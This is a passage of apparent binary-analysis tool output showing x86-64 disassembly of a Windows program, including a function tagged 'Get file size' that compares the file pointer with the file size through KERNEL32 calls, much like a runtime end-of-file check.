lea rax, [rsp + 0x40]
sub rcx, rax
lea rax, [rcx + r13]
jmp 0x140053af7
or rax, 0xffffffffffffffff
mov rcx, qword [rsp + 0x1040]
xor rcx, rsp
call fcn.140035e10
mov rbx, qword [rsp + 0x1090]
add rsp, 0x1050
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret

Function at 0x140053e14
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x140053e2a
mov al, 1
jmp 0x140053e96
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x140053e3b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140053e94
mov ecx, dword [rcx + 0x18]
nop
call fcn.140058114
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140053e94
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140053e94
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140053e94
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x140053e96
xor al, al
add rsp, 0x20
pop rbx
ret